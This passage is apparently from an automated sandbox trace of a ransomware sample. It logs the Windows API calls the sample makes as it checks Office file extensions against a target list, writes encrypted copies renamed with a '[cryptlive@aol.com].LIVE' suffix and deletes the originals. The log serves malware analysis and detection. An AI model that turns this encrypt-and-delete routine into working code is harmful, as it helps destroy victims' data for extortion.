lpString2="T.VSL") returned -1 [0145.487] lstrlenW (lpString=".ppt") returned 4 [0145.487] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0145.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0145.488] lstrlenW (lpString=".zip") returned 4 [0145.488] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0145.488] lstrlenW (lpString=".rar") returned 4 [0145.488] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0145.488] lstrlenW (lpString=".bz2") returned 4 [0145.488] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0145.488] lstrlenW (lpString=".7z") returned 3 [0145.488] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0145.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0145.488] lstrlenW (lpString=".dbf") returned 4 [0145.488] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0145.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0145.488] lstrlenW (lpString=".1cd") returned 4 [0145.488] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0145.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0145.488] lstrlenW (lpString=".jpg") returned 4 [0145.488] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0145.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0145.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0145.488] lstrlenW (lpString=".doc") returned 4 [0145.488] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0145.488] lstrlenW (lpString=".docx") returned 5 [0145.488] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0145.488] lstrlenW (lpString=".pdf") returned 4 [0145.488] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0145.488] lstrlenW (lpString=".xls") returned 4 [0145.488] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0145.488] lstrlenW (lpString=".xlsx") returned 5 [0145.488] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0145.488] lstrlenW (lpString=".ppt") returned 4 [0145.488] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0145.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0145.488] lstrlenW (lpString=".zip") returned 4 [0145.488] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0145.488] lstrlenW (lpString=".rar") returned 4 [0145.489] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0145.489] lstrlenW (lpString=".bz2") returned 4 [0145.489] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0145.489] lstrlenW (lpString=".7z") returned 3 [0145.489] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0145.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0145.489] lstrlenW (lpString=".dbf") returned 4 [0145.489] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0145.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0145.489] lstrlenW (lpString=".1cd") returned 4 [0145.489] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0145.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0145.489] lstrlenW (lpString=".jpg") returned 4 [0145.489] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0145.489] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0145.489] lstrlenW (lpString="PUB6INTL.REST.IDX_DLL") returned 21 [0145.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.490] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=269184) returned 1 [0145.490] CloseHandle (hObject=0x39c) returned 1 [0145.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll")) returned 0x20 [0145.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.490] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.490] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0145.491] GetLastError () returned 0x0 [0145.491] ReadFile (in: hFile=0x39c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x41b80, lpOverlapped=0x0) returned 1 [0145.498] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x41b90, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x41b90, lpOverlapped=0x0) returned 1 [0145.503] ReadFile (in: hFile=0x39c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.503] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0145.503] SetEndOfFile (hFile=0x3dc) returned 1 [0145.503] CloseHandle (hObject=0x3dc) returned 1 [0145.503] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.504] SetEndOfFile (hFile=0x39c) returned 1 [0145.511] CloseHandle (hObject=0x39c) returned 1 [0145.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll")) returned 1 [0145.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0145.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0145.996] lstrlenW (lpString=".doc") returned 4 [0145.996] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0145.996] lstrlenW (lpString=".docx") returned 5 [0145.996] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0145.996] lstrlenW (lpString=".pdf") returned 4 [0145.996] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0145.996] lstrlenW (lpString=".xls") returned 4 [0145.996] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0145.996] lstrlenW (lpString=".xlsx") returned 5 [0145.996] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0145.996] lstrlenW (lpString=".ppt") returned 4 [0145.996] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0145.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0145.996] lstrlenW (lpString=".zip") returned 4 [0145.996] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0145.996] lstrlenW (lpString=".rar") returned 4 [0145.996] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0145.996] lstrlenW (lpString=".bz2") returned 4 [0145.996] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0145.996] lstrlenW (lpString=".7z") returned 3 [0145.996] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0145.996] lstrlenW (lpString=".dbf") returned 4 [0145.996] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0145.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0145.996] lstrlenW (lpString=".1cd") returned 4 [0145.996] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0145.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0145.996] lstrlenW (lpString=".jpg") returned 4 [0145.996] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0145.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0145.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0145.996] lstrlenW (lpString=".doc") returned 4 [0145.996] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0145.997] lstrlenW (lpString=".docx") returned 5 [0145.997] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0145.997] lstrlenW (lpString=".pdf") returned 4 [0145.997] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0145.997] lstrlenW (lpString=".xls") returned 4 [0145.997] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0145.997] lstrlenW (lpString=".xlsx") returned 5 [0145.997] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0145.997] lstrlenW (lpString=".ppt") returned 4 [0145.997] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0145.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0145.997] lstrlenW (lpString=".zip") returned 4 [0145.997] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0145.997] lstrlenW (lpString=".rar") returned 4 [0145.997] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0145.997] lstrlenW (lpString=".bz2") returned 4 [0145.997] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0145.997] lstrlenW (lpString=".7z") returned 3 [0145.997] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0145.997] lstrlenW (lpString=".dbf") returned 4 [0145.997] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0145.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0145.997] lstrlenW (lpString=".1cd") returned 4 [0145.997] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0145.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0145.997] lstrlenW (lpString=".jpg") returned 4 [0145.997] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0145.997] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0145.997] lstrlenW (lpString="SETLANG_COL.HXC") returned 15 [0145.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0145.999] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=631) returned 1 [0145.999] CloseHandle (hObject=0x3dc) returned 1 [0145.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc")) returned 0x20 [0145.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.000] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.000] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0146.001] GetLastError () returned 0x0 [0146.001] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x277, lpOverlapped=0x0) returned 1 [0146.002] WriteFile (in: hFile=0x390, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x280, lpOverlapped=0x0) returned 1 [0146.003] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.003] WriteFile (in: hFile=0x390, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0146.004] SetEndOfFile (hFile=0x390) returned 1 [0146.006] CloseHandle (hObject=0x390) returned 1 [0146.006] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.007] SetEndOfFile (hFile=0x3dc) returned 1 [0146.009] CloseHandle (hObject=0x3dc) returned 1 [0146.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc")) returned 1 [0146.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0146.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0146.010] lstrlenW (lpString=".doc") returned 4 [0146.010] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0146.010] lstrlenW (lpString=".docx") returned 5 [0146.010] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0146.010] lstrlenW (lpString=".pdf") returned 4 [0146.010] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0146.010] lstrlenW (lpString=".xls") returned 4 [0146.010] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0146.010] lstrlenW (lpString=".xlsx") returned 5 [0146.010] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0146.010] lstrlenW (lpString=".ppt") returned 4 [0146.010] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0146.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0146.010] lstrlenW (lpString=".zip") returned 4 [0146.010] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0146.010] lstrlenW (lpString=".rar") returned 4 [0146.010] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0146.010] lstrlenW (lpString=".bz2") returned 4 [0146.010] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0146.010] lstrlenW (lpString=".7z") returned 3 [0146.010] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0146.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0146.010] lstrlenW (lpString=".dbf") returned 4 [0146.010] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0146.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0146.010] lstrlenW (lpString=".1cd") returned 4 [0146.010] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0146.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0146.010] lstrlenW (lpString=".jpg") returned 4 [0146.011] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0146.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0146.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0146.011] lstrlenW (lpString=".doc") returned 4 [0146.011] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0146.011] lstrlenW (lpString=".docx") returned 5 [0146.011] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0146.011] lstrlenW (lpString=".pdf") returned 4 [0146.011] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0146.011] lstrlenW (lpString=".xls") returned 4 [0146.011] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0146.011] lstrlenW (lpString=".xlsx") returned 5 [0146.011] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0146.011] lstrlenW (lpString=".ppt") returned 4 [0146.011] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0146.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0146.011] lstrlenW (lpString=".zip") returned 4 [0146.011] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0146.011] lstrlenW (lpString=".rar") returned 4 [0146.011] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0146.011] lstrlenW (lpString=".bz2") returned 4 [0146.011] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0146.011] lstrlenW (lpString=".7z") returned 3 [0146.011] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0146.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0146.011] lstrlenW (lpString=".dbf") returned 4 [0146.011] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0146.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0146.011] lstrlenW (lpString=".1cd") returned 4 [0146.011] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0146.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0146.012] lstrlenW (lpString=".jpg") returned 4 [0146.012] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0146.012] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0146.012] lstrlenW (lpString="SETLANG_COL.HXT") returned 15 [0146.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.012] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=207) returned 1 [0146.012] CloseHandle (hObject=0x3dc) returned 1 [0146.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt")) returned 0x20 [0146.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.013] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.013] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0146.014] GetLastError () returned 0x0 [0146.014] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xcf, lpOverlapped=0x0) returned 1 [0146.015] WriteFile (in: hFile=0x390, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0146.016] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.016] WriteFile (in: hFile=0x390, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0146.016] SetEndOfFile (hFile=0x390) returned 1 [0146.016] CloseHandle (hObject=0x390) returned 1 [0146.016] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.016] SetEndOfFile (hFile=0x3dc) returned 1 [0146.019] CloseHandle (hObject=0x3dc) returned 1 [0146.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt")) returned 1 [0146.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0146.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0146.020] lstrlenW (lpString=".doc") returned 4 [0146.020] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0146.020] lstrlenW (lpString=".docx") returned 5 [0146.020] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0146.020] lstrlenW (lpString=".pdf") returned 4 [0146.020] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0146.020] lstrlenW (lpString=".xls") returned 4 [0146.020] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0146.020] lstrlenW (lpString=".xlsx") returned 5 [0146.020] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0146.020] lstrlenW (lpString=".ppt") returned 4 [0146.020] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0146.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0146.020] lstrlenW (lpString=".zip") returned 4 [0146.020] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0146.020] lstrlenW (lpString=".rar") returned 4 [0146.020] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0146.020] lstrlenW (lpString=".bz2") returned 4 [0146.020] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0146.020] lstrlenW (lpString=".7z") returned 3 [0146.020] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0146.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0146.020] lstrlenW (lpString=".dbf") returned 4 [0146.020] lstrcmpiW 